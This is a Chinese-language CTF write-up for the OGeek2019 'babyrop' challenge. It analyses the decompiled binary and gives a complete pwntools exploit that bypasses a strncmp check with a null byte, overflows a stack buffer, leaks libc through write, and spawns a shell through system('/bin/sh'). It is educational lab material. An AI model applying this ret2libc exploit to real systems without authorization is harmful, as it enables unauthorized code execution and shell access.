OGeek2019 babyrop

Uncategorized
3k words

checksec

Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf); 
  sub_80487D0(v2); 
  return 0;
}
  • /dev/urandom : Unix系统中的特殊设备文件,可用作随机数发生器或者伪随机数发生器

sub_804871F

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);          // a1是/dev/urandom生成的随机数,将其写入s
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )      //比较s和用户输入的buf值,如果为1(buf>s)则退出,否则输出Correct
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7]; //带进sub_80487D0()的参数为用户输入的第8个元素
}
  • sprintf() : 发送格式化输出到str所指向的字符串

这里利用strncmp()函数遇到'\x00'截断的性质,让buf小于这个随机数s,返回0,输出Correct后进入sub_80487D0()函数

payload_1 = b"\x00"

sub_80487D0

ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);
}

如果a1 == 127,则读取0xC8大小,否则读取a1大小

我们可以看到buf大小为231 , 即0xE7,而0xC8(200)长度是不够的,于是我们需要a1尽可能的大,payload可以这样构造

payload_1 += b"\xff" * 7

第一阶段的完成payload

payload_1 = b"\x00" + b"\xff" * 7

接着我们就可以打一段ROP了,先构造一条ropchain,通过writeleak其libc基址

payload_2 = b'a' * (0xE7 + 0x4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
write_addr = u32(io.recv(4).ljust(4 , b'\x00'))
success("write_addr -> %s" % hex(write_addr))
libc_base = write_addr - libc.sym['write']

接着拿到system/bin/sh然后getshell

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload_3 = b'a' * (0xE7 + 0x4) + p32(system) + p32(0) + p32(bin_sh)

完整exp

'''
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
'''
from pwn import *
from LibcSearcher import *
context(os = 'linux' , arch = 'i386' , log_level = 'debug')
local = 1
host = "node4.buuoj.cn"
port = 25769
elf = ELF("/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop[OGeek2019]")
if local == 1:
    io = process("/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop[OGeek2019]")
else:
    io = remote(host , port)
write_got = elf.got['write']
write_plt = elf.plt['write']
main = 0x08048825
payload_1 = b"\x00" + b"\xff" * 7
io.sendline(payload_1)
io.recvuntil("Correct\n")
payload_2 = b'a' * (0xE7 + 0x4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload_2)
# write_addr = u32(io.recvuntil("\xf7")[-4:].ljust(4 , b'\x00'))
write_addr = u32(io.recv(4).ljust(4 , b'\x00'))
success("write_addr -> %s" % hex(write_addr))
# libc = LibcSearcher("write" , write_addr)
# libc = elf.libc
libc = ELF('/mnt/c/Users/M1sceden4/Desktop/pwn/libc/libc-2.23_.so')
# libc_base = write_addr - libc.dump('write')
# success("libc_base -> %s" % hex(libc_base))
# system = libc_base + libc.dump('system')
# bin_sh = libc_base + libc.dump('str_bin_sh')

libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload_3 = b'a' * (0xE7 + 0x4) + p32(system) + p32(0) + p32(bin_sh)

io.sendline(payload_1)
io.recvuntil("Correct\n")
io.sendline(payload_3)

io.interactive()